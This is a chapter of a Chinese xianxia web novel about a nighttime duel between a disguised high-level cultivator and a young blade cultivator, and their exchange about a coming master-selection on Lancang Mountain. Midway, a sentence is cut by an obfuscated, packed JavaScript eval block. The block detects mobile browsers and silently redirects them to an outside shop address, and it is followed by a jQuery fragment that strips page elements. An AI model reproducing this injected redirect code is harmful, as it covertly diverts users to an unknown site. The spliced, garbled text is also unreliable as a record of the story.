弯刀飞旋而过,宛若玉盘,与窗外寒月两相辉映。
玉清都略一运力,那刀便以破竹之势逼至女子面前。
一时之间,万籁俱寂,天上地下,似乎只剩月与月,正是“江天一色无纤尘,皎皎空中孤月轮。”
女子悚然一惊,这一刀,分明还是春江花月夜,可却远比她挥出的那刀要成熟得多!
这么短的时间内,对方不仅夺了她手中的刀,完全复刻了她的刀法,甚至还有所提升?!
只一愣神,那刀已凛然眼前。
女子纵身飞跃,接住了飞刀,却也被刀势逼得向后急退几步,直退到门外的回廊,她脚尖向后,勾住了楼上栏杆,才没有坠下去。
她一跃而起,虽被刀势逼迫至此,可身子没来得及回落,还是高出地面一块去。
谁料,这高出的一块恰恰坏了事。
木质的栏杆本不算低矮,是足足高出她腰间一大块的,此刻坠落,却只抵在她的小腿处,让她大半个身子悬空在外。
观山海以海纳百川闻名,建筑一律高阔异常,若从此处坠下,丢人不说,少不了要受些伤的。
女子赶忙运气,把悬空在外的身子拽回来。
脚尖再次点地,她松了口气,只是那口气还未及呼出,就凝滞在喉头。
她只觉得脚下发虚,似乎不是踩在实地上。
捏紧了那把弯月刀,她看着玉清都,对方站在屋子里,长身玉立,那抹淡然的笑依然挂在唇畔。
稳住身形后她才恍然惊觉,对方击出那一刀后,似乎连脚步都没移动过。
他就在那盯着自己看吗?平静到冷漠……
而她呢,想起刚刚的危机一刻,女子周身的热血一下子冻僵住,生平第一次,眉宇之间爬满了迟疑和恐惧。
她开始思考,自己刚刚是不是太过轻易地应下了对方的话?
细细想来,以她的修为与天阶修士过招,无异于蚍蜉撼树。对方杀了她,就如同捏死一只蚂蚁一样轻易啊。
而看那人不动如山的架势看,他也完全能做到。
一曲春江花月夜,一把青竹弯月刀。
她本以为自己已经有了筹码面对这江湖的风沙,才敢独行至此,一路前往那仙师大选,却不料天下之大,原来是静水如渊,藏龙卧虎。
一阵风过,鼓起她的衣衫,蝉翼般抖着壮起声势来,不曾想反倒衬得身子更加纤薄。
她心中傲气一扫而空,此刻只剩信服,也不恼怒,向前几步,大方的便握拳行礼。
“天阶修士,果然与凡修有云泥之别。此番多有冒犯,是我不自量力了。”
玉清都笑着还礼,“姑娘言重了,能与青竹山刀修切磋,见识传说中的春江花月夜之美,也算一件幸事。”
“只是姑娘应该挑个好时机的,深夜造访,不得睡眠,也确实有些累了不是吗?”
“是我之过。”
女子尴尬地低了头。
玉清都却伸了个懒腰,走到了她面前。
“姑娘的技法美则美矣,似乎缺了点锐气杀气,不得圆满。我听说此刀法大成之时,光华之盛,如月满中天,却可噬魂夺魄,于瞬息之中夺人性命。
不过姑娘你年岁尚小,能有此修为,已是不易。假有时日,必有所成。
一时技痒,这一刀,就算我东施效颦。日后若还能有幸再见姑娘,或可领略春江花月夜全技。”
这一番话说的滴水不漏,既点出了不足,又说明了期许,女子听着,只觉得动听悦耳。
还有什么,能比一个天阶修士的认可更值得开心的呢?
尤其,女子偷摸抬了抬眼皮,望了一眼玉清都,尤其是这样一个天阶修士。
皑如山上雪,皎若云间月。
诶,大道无情,升阶难如升天,天阶修士不应该都是白发长须,超然物外之人吗?
怎么,会是这样一个人。
这样一个温润如玉之人?
脸上浮着面具,可观其身姿,听其言语,显然青春年华。
她心下想了许多,再开口时,语气也不自觉有些雀跃,“不不不,公子那一刀来的绝妙,小女子多谢公子指点。至于那春江花月夜,我确实尚未得其要领。公子能这么说,那我就多谢公子吉言。
若有贯通领悟那一天,我一定再请公子指点。”
“只是”,她说着,眼中一暗,“我尚不知公子姓名,不知来日如何相见?如公子所言,我确实是青竹山刀修,我叫温瑶,公子你呢?”
玉清都早注意到温瑶期待的眼神,可也只能无情地击破了温瑶与自己之间那点柔情。
“萍水相逢,因缘际会,何必求一个姓名呢?”
玉清都还是笑着,可是那笑容在温瑶看来,又不带了任何温度,她越发看不懂他,可越是看不懂,反而越是好奇。
越想知道,他究竟是何许人也。
温瑶正待开口,玉清都已然继续,她指了指已经从床上起身,默默站在一旁的胡兰月,笑的真诚。
“再说,姑娘不必称呼我为公子,我家公子还在那里呢,哪里轮得上我呢?”
“可你是天阶修士,难道甘居人下?再说,他……话说回来,你若有意,青竹山尚有几座山峰空置,我可以为你引荐。”
温瑶看了眼胡兰月,嗯,没感受到修为波动,再看玉清都,可是天阶修士!一时之间,怜惜之意和爱才之心一下子涌起,惊奇之下,脱口而出。
玉清都摆手拒绝,含笑看着胡兰月,“还是不了,姑娘,公子与我之间情谊深厚,我是断不会离开他的。对吧,公子?”
“嗯?”
玉清都骤然发问,胡兰月本来还事不关己的看着两个人之间的对话,如今忽然被扯了进去,还是这样尴尬的情节,不自觉鸡皮疙瘩起了一身。
“我?我没什么意见啊,那个青竹山是个好地方——”
被忽然点名,胡兰月懵懵的,下意识就把这烫手山芋甩出去,但注意到玉清都笑意中潜藏的一股子莫名杀意后,他也只好咽回说了一半的话,正色道。
“对啊,他是我的人,你这人真不讲道理,不仅深夜闯上门来,还想着从我手中抢人,如此这般,岂不是拿公子我当傻子吗?”
他挑起眉毛,冷冷看向温瑶,装的倒有几分样子。
温瑶才觉自己又下意识唐突了,拱手道,“是我考虑不周了。”
她解释道,“适才听这位公子所言,公子也是去往澜沧山仙师大选的,不知能否告知温瑶姓名呢?”
即使听了玉清都的话,明白了他推辞的意思,她还是坚持称呼她为公子。
毕竟是天阶修士,她不尊敬的话,总觉得后背一股寒意升起呢……
胡兰月看了眼玉清都,见对方没有异议,这才朗声道,“我姓胡,名字叫兰月,来自兰城胡家,离这锦观城也不远。”
温瑶点头,面上不显,心中却不免有些疑惑。
兰城富庶,大越众所周知,只是胡家她倒是没怎么听说过。不知道背靠哪一宗门?怎么这小子身后有个这么厉害的天阶修士呢?
“原来是兰月公子,刚才多有冒犯,还望公子恕罪。”
“无妨无妨,既然姑娘也是去往澜沧山的,那我们也算同门,日后还要好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918482|213398||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
相处才是呢。”
“嗯。”温瑶说着,忽然想起什么,问道,“话说回来,此去澜沧山,不知道公子是否已经有嘱意的仙师呢?”
胡兰月一愣,斟酌一会儿,看玉清都那一副暗戳戳让他快说的眼神,方才说道,“此去澜沧山,我是要拜入千决崖门下的。”
温瑶一愣,“诶,可是千决崖仙师不是说闭关数年,已经不问世事吗?”
胡兰月耸了耸肩,壮胆道,“正是,不过千决崖大弟子玉清都仙姿绰约,据说可代师授业。”
“原来如此,是我孤陋寡闻了。”温瑶点头,似懂非懂。
胡兰月反问她,“那姑娘又是要选择哪位仙师呢?”
温瑶脸略微一红,“这个我暂时还未想好,此去澜沧山,不只是为了那仙师大选,其实我是想去寻一位故人的……”
她说着,声音不自觉低了下去。
故人?
胡兰月看出她的窘迫,也无意再追问下去,同玉清都交换了眼神,温声道,“既如此,我与姑娘也算不打不相识,前路漫长,却也短暂,兰月先祝姑娘一帆风顺,山高水长,愿有幸与姑娘,澜沧山再会。”
温瑶经此一役,也收敛了锋芒。
眉目如画,秋眸剪水,柔情不减,却偏偏五官凛冽,又有三分侠气,恰到好处。
抬眼望去,月近中天,察觉到自己已经耽搁了主人太多时间,温瑶也爽快的握了拳,同玉清都二人辞别。
“此番多谢二位赐教,若温瑶有幸,愿与君澜沧山再会。”
说罢,她利落地转身而去。
胡兰月望着她离去的背影,心中却不知怎么,浮上来一股没来由的哀伤。
他想,这个叫温瑶的女子年龄不过与他相当,可她的刀法却已修的出神入化,春江花月夜,多美的名字啊。
如果,他也有这样绝妙的刀法该有多好?
胡兰月还在愣神,玉清都挥了挥手,砰的一声便将门关上了。
胡兰月吓了一跳,皱着眉看着玉清都,不由得想起刚刚那人回敬温瑶的那一刀,和他送给温瑶的那句话。
“假以时日,必有所成。”
他这样的人,竟也会对萍水相逢的温瑶有这么高的评价吗?
他心里一时间,翻上来一股荒谬的酸意,压在胸口,哽在喉头,吞也不是,吐也不是。只能在心里怒气涛涛的质问自己,怎么能有这样荒谬离谱的情感?
难道,他胡兰月需要这个姓肖的的认可吗?
胡兰月鼻孔出气,嗤之以鼻。
玉清都坐回了桌子前,随手将那杯冷掉的茶泼到一边,一手托着脑袋看着他,语气懒散。
“兰月公子在想什么?”
胡兰月一震,下意识扯个慌,“没什么——额,其实我刚刚在想,温瑶说去澜沧山找一位故人,有些奇怪。”
玉清都淡淡扫了他一眼,没拆穿他拙劣的谎言,只是冷冷道。
“她确实是要去找一位故人不假,只是那故人的身份很特别。”
玉清都添好新茶,饮了一口。
“怎么说?”
在这对峙这么久,胡兰月也渴了,于是壮着胆子凑近了那张桌子,就要坐到玉清都对面去。
玉清都道,“若我没猜错,那位故人便是磐石七山大弟子,陆方,亦是——她的未婚夫。”
诶?
胡兰月一愣,这你都知道?!
玉清都却没有解释,而是面对着虚空,冷冷道,“沈千言,我知道你在这听很久了,现在立刻给我滚出来!”
沈千言?
千言堂主沈千言?!